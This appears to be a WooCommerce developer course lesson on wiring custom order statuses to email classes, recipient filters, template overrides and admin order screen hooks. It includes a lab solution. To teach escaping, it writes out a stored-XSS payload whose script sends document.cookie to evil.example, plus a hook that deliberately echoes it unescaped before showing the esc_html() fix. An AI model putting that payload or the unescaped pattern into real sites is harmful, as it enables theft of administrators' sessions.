Skip to content
System nominalUTC --:--:--Articles 080
MODULE 04 Lesson 12 / 18 35 MIN

Orders and communication

Transactional Email and Admin Order Screens

A custom status sends no mail until you subscribe an email class to it. Then the admin order screen will happily print a customer's input into your browser.

An extension adds a "Packed" status and a custom email class to go with it. The status works, the customer gets no email, and nothing appears in the WooCommerce log or in the PHP error log. There is no exception to catch, because nothing threw. The class was never subscribed to the action that would have triggered it.

WooCommerce's transactional email is a subscription list, not a broadcast. A status change fires a set of hooks, and a fixed list of hook names is attached to a generic dispatcher that instantiates the mailer and hands off to any email class that listened. A custom status is not in that list until an extension puts it there, and the failure is silence. The second half of this lesson is the other side of the same coin: the admin order screen gives extensions a place to render order data, hands them an order object that contains customer input, and does not escape what they print.

WC_Emails is built on init, and the class map is filterable

WC_Emails::init_transactional_emails() is attached to the init action from the WooCommerce bootstrap. It reads a list of action names through the woocommerce_email_actions filter, and attaches either send_transactional_email or, when the deferred emails feature is on, queue_transactional_email to each of them.

The class map is a second list, built in WC_Emails::init() from a hard coded array of class names to file paths, and passed through the woocommerce_email_classes filter. Each entry is instantiated, and the instances are what the settings screens, the mailer and the _notification dispatch all work from.

<?php
add_filter(
	'woocommerce_email_classes',
	function ( $emails ) {
		$emails['WC_Email_Sifero_Packed'] = new WC_Email_Sifero_Packed();
		return $emails;
	}
);

Wrap the class definition so it loads when the filter runs, or register the filter from a file that requires the class inside the callback. WC_Email is not loaded when a plugin file is included, so a class that extends it at file scope fatals before WooCommerce has had a chance to define it.

The class name in that array is the key WooCommerce uses in the settings list. The $id property set in the constructor is the key everything else uses: the option name is woocommerce_{$id}_settings, the recipient filter is suffixed with it, and the enable toggle is woocommerce_email_enabled_{$id}.

The trigger path has a _notification hop that extensions have to subscribe to

Follow one status change through to a delivered message. The order moves to completed, which fires woocommerce_order_status_completed. That name is in the woocommerce_email_actions list, so the dispatcher attached to it runs, instantiates the mailer, and fires one more action whose name is the current filter with _notification appended: woocommerce_order_status_completed_notification. The email class subscribed to that name, and its trigger() method runs.

woocommerce_order_status_completed
  -> WC_Emails::send_transactional_email()
    -> woocommerce_order_status_completed_notification
      -> WC_Email_Customer_Completed_Order::trigger()
        -> send_notification()
          -> wp_mail()

That extra hop is the whole reason a custom status sends nothing. A new status produces woocommerce_order_status_sifero-packed, a name no dispatcher is attached to, so nothing downstream of it ever runs. The extension has to add the name to the list, and the email class has to subscribe to the suffixed form.

<?php
add_filter(
	'woocommerce_email_actions',
	function ( $actions ) {
		$actions[] = 'woocommerce_order_status_sifero-packed';
		return $actions;
	}
);

// Inside the WC_Email subclass constructor.
add_action( 'woocommerce_order_status_sifero-packed_notification', array( $this, 'trigger' ), 10, 2 );

The trigger() method follows one of two shapes, and which one you pick decides whether the store's enable toggle is respected. send_notification() checks is_enabled() and the recipient before sending, and fires woocommerce_email_disabled or woocommerce_email_skipped when it returns without sending. Calling send() directly bypasses both checks. Use the first for anything a customer can switch off; the second is for manually triggered mail such as a resent invoice.

<?php
public function trigger( $order_id, $order = false ) {
	$this->setup_locale();

	if ( $order_id && ! is_a( $order, 'WC_Order' ) ) {
		$order = wc_get_order( $order_id );
	}

	if ( is_a( $order, 'WC_Order' ) ) {
		$this->object                         = $order;
		$this->recipient                      = $this->object->get_billing_email();
		$this->placeholders['{order_number}'] = $this->object->get_order_number();
	}

	$this->send_notification();

	$this->restore_locale();
}

Deferred transactional email is a feature flag, off by default in 11.2, so on a default store the mail is sent inside the request that changed the status. That matters for where you put slow work: a remote call inside your trigger delays the admin's page load, not a queue worker's.

The recipient filter is the cleanest place to reroute a message

WC_Email::get_recipient() applies woocommerce_email_recipient_{$this->id} to the recipient address, with the related object and the email instance as the second and third arguments, then splits on commas and drops anything that is not a valid address. WooCommerce itself uses the same filter for its stock emails, which is the pattern to copy.

<?php
add_filter(
	'woocommerce_email_recipient_sifero_packed',
	function ( $recipient, $order, $email ) {
		if ( $order instanceof WC_Order && $order->get_meta( '_sifero_pickup_store' ) ) {
			return 'counter@example.com';
		}
		return $recipient;
	},
	10,
	3
);

Two details worth having. The third argument is the WC_Email instance, which is how one callback can serve several emails if you accept the whole family of filter names. The second argument is $this->object, which is an order for order emails and a product or an array for the stock emails, so guard the type before calling get_meta() on it. And the filter runs inside get_recipient(), which send_notification() only reaches after the enable check passes, so a disabled email never reaches your callback.

Templates resolve theme first, and the default path is per email class

An email class declares two template names, template_html and template_plain. Core's completed order email uses emails/customer-completed-order.php and emails/plain/customer-completed-order.php, and those files live in woocommerce/templates/. When the email renders, it calls wc_get_template_html(), which goes through wc_locate_template().

The resolution order is the part worth memorising: the theme's woocommerce/ directory first, then the theme root, then the default path. The theme path comes from WC()->template_path(), which is woocommerce/ and filterable through woocommerce_template_path. A file at wp-content/themes/your-theme/woocommerce/emails/customer-completed-order.php wins over the core copy, and that is true for a custom email class as well.

The default path is where a custom email needs one line of care. Core's email classes leave $template_base null and the parent constructor sets it to WC()->plugin_path() . '/templates/'. An extension's templates are not there, so set $template_base in the constructor and pass it as the fourth argument of wc_get_template_html():

<?php
$this->template_html = 'emails/customer-packed-order.php';
$this->template_base = plugin_dir_path( __FILE__ ) . 'templates/';

// In get_content_html().
return wc_get_template_html(
	$this->template_html,
	array(
		'order'              => $this->object,
		'email_heading'      => $this->get_heading(),
		'additional_content' => $this->get_additional_content(),
		'sent_to_admin'      => false,
		'plain_text'         => false,
		'email'              => $this,
	),
	'',
	$this->template_base
);

The template itself is ordinary PHP that receives those variables and calls do_action( 'woocommerce_email_header', $email_heading, $email ), woocommerce_email_order_details, woocommerce_email_customer_details and woocommerce_email_footer. Rendering those hooks rather than hard coding the header and the order table is what keeps the message looking like the rest of the store's mail, and it is what other extensions hook into when they add a field to every email.

The theme override path is the same for both

Resolution checks the theme before the default path, so an override for a custom email goes in woocommerce/emails/customer-packed-order.php inside the theme, not in a directory next to the plugin. The default path only decides which copy is used when the theme does not have one.

The admin order screen prints what your hook echoes, unescaped

WooCommerce renders the order edit screen from meta boxes, and the order data box gives extensions five places to add markup. They all receive the WC_Order object and they all print whatever the callback outputs into the page.

HookWhere the output lands
woocommerce_admin_order_data_after_payment_info Under the order number and status, above the three columns.
woocommerce_admin_order_data_after_order_details At the bottom of the General column.
woocommerce_admin_order_data_after_billing_address At the bottom of the Billing column, under the address and payment method fields.
woocommerce_admin_order_data_after_shipping_address At the bottom of the Shipping column.
woocommerce_admin_order_data_header_right Right side of the order data header.

The billing hook is the one people reach for, because it sits next to the address and looks like a labelled field. It is also the dangerous one. Order meta can come from a checkout field, which means from a customer, and a hook that echoes it is a stored-XSS path into an admin session. I rendered the order data meta box with one order and one payload, first with a raw echo and then with esc_html():

<?php
$payload = '<script>fetch("https://evil.example/steal?c="+document.cookie)</script>';
$order->update_meta_data( '_sifero_vat', $payload );
$order->save();

// The stored-XSS version.
add_action(
	'woocommerce_admin_order_data_after_billing_address',
	function ( $order ) {
		echo '<p><strong>VAT number:</strong> ' . $order->get_meta( '_sifero_vat' ) . '</p>';
	}
);
-- the raw echo, which is the stored-XSS path --
Array
(
    [0] => <script>fetch("https://evil.example/steal?c="+document.cookie)</script>
)
-- the same hook with esc_html() --
Array
(
    [0] => (no script tag in the billing column)
)

The script tag survived into the rendered billing column. Every subsequent visit to that order's edit screen by a logged-in user with the capability to see it executes the payload in their session, and the payload was written by a customer at checkout. The fix costs one function call, and the reason to use the order screen's own rendering helpers rather than string concatenation is that they escape for you.

<?php
add_action(
	'woocommerce_admin_order_data_after_billing_address',
	function ( $order ) {
		printf(
			'<p><strong>%s</strong> %s</p>',
			esc_html__( 'VAT number', 'sifero' ),
			esc_html( (string) $order->get_meta( '_sifero_vat' ) )
		);
	}
);

WooCommerce 11.2 has two order screens, and they are worth knowing apart. A store on the posts-based data store edits orders at wp-admin/post.php?post=ID&action=edit. A store on the custom order tables edits them at wp-admin/admin.php?page=wc-orders&action=edit&id=ID. Both register the same WC_Meta_Box_Order_Data::output callback (src/Internal/Admin/Orders/Edit.php for the HPOS screen), so the hooks above fire on both and a hook written for one keeps working on the other. What differs is around them: the list table, the screen id, and the capability checks. If your hook enqueues a script or registers a screen option, it needs the screen id, and there are two of those.

Lab 45 minutes

Build the packed-status email end to end, then prove each link in the chain rather than trusting it.

  1. Write a plugin that registers the sifero-packed status and a WC_Email_Sifero_Packed class with your own templates under the plugin's templates/ directory.
  2. Add woocommerce_order_status_sifero-packed to woocommerce_email_actions and subscribe the class to the _notification form.
  3. Stop the mail from leaving the machine with a pre_wp_mail filter that captures the arguments and returns true, then move an order into the status and print the recipient, the subject and whether the body contains your template's sentence.
  4. Add a woocommerce_email_recipient_sifero_packed filter that sends the message to a different address, and print the captured recipient again.
  5. Disable the email with woocommerce_email_enabled_sifero_packed, trigger the transition again, and print how many messages were captured.
  6. Move your HTML template into the active theme at woocommerce/emails/customer-packed-order.php, change its sentence, and print wc_locate_template()'s answer to show which file won.

Then answer in one sentence each: why the first version of this plugin sent nothing, and which of the five admin order screen hooks you would use for a field that must be visible next to the billing address.

Show the solution and the reasoning

The class is the longest part, and most of it is the parent constructor's requirements. This is the version from my test store, trimmed of the settings screen plumbing that WC_Email supplies anyway.

<?php
class WC_Email_Sifero_Packed extends WC_Email {

	public function __construct() {
		$this->id             = 'sifero_packed';
		$this->customer_email = true;
		$this->title          = 'Packed order';
		$this->description    = 'Tells the customer their order is packed and waiting.';
		$this->template_html  = 'emails/customer-packed-order.php';
		$this->template_plain = 'emails/plain/customer-packed-order.php';
		$this->template_base  = plugin_dir_path( __FILE__ ) . 'templates/';
		$this->placeholders   = array(
			'{order_date}'   => '',
			'{order_number}' => '',
		);

		add_action( 'woocommerce_order_status_sifero-packed_notification', array( $this, 'trigger' ), 10, 2 );

		parent::__construct();
	}

	public function trigger( $order_id, $order = false ) {
		$this->setup_locale();

		if ( $order_id && ! is_a( $order, 'WC_Order' ) ) {
			$order = wc_get_order( $order_id );
		}

		if ( is_a( $order, 'WC_Order' ) ) {
			$this->object                         = $order;
			$this->recipient                      = $this->object->get_billing_email();
			$this->placeholders['{order_number}'] = $this->object->get_order_number();
		}

		$this->send_notification();

		$this->restore_locale();
	}

	public function get_default_subject() {
		return 'Order {order_number} is packed';
	}

	public function get_default_heading() {
		return 'Your order is packed';
	}

	public function get_content_html() {
		return wc_get_template_html(
			$this->template_html,
			array(
				'order'              => $this->object,
				'email_heading'      => $this->get_heading(),
				'additional_content' => $this->get_additional_content(),
				'sent_to_admin'      => false,
				'plain_text'         => false,
				'email'              => $this,
			),
			'',
			$this->template_base
		);
	}
}

On my test store the captured message read to=counter@example.com with the subject Order 16 is packed and the body contained the template's sentence and the order number. Before the recipient filter existed, the same capture showed the customer's address, which is the quickest way to prove the filter is doing something.

The disabled-email check is the one people skip and then argue about. With woocommerce_email_enabled_sifero_packed returning false, the capture count is zero, because send_notification() returns before it ever calls get_recipient(). An extension that calls send() directly in its trigger ignores that switch and mails the customer anyway, which is exactly the kind of surprise that gets a plugin uninstalled.

For the template question, the answer on my store was the plugin's own file at /tmp/woo-m4-lab/sifero-email/sifero-templates/emails/customer-packed-order.php, because no theme override existed. The path that a theme override would take is reported by get_theme_template_file(), and it pointed at wp-content/themes/twentytwentyfive/woocommerce/emails/customer-packed-order.php. Dropping the file there wins on the next request, and wc_locate_template() confirms it, which is worth doing once so you can explain the rule to a theme developer who expects their copy to be ignored.

Two limits. The recipient filter can only reroute a message the class decided to send; it cannot make a disabled email send. And the admin order screen hooks print markup into an existing layout, so anything wider than the column it lands in breaks the screen's grid rather than failing loudly. Both are reasons to test these changes on the real admin screen rather than in a render harness.

Official reference

The WordPress developer reference for what this lesson uses.

Progress

Mark this lesson done and it stays marked in this browser.